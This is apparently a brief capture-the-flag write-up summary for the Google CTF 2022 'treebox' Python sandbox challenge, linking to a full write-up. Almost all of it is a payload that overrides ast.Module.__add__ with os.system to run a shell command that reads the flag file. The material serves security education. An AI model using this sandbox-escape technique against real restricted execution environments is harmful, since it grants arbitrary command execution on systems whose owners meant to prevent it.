**TL;DR: payload**
```python
ast.Module.__add__=os.system
tree+'cat flag'
--END
```

Full explanation and [Original Writeup](https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox) (https://github.com/nikosChalk/ctf-writeups/tree/master/googleCTF22/sandbox/treebox)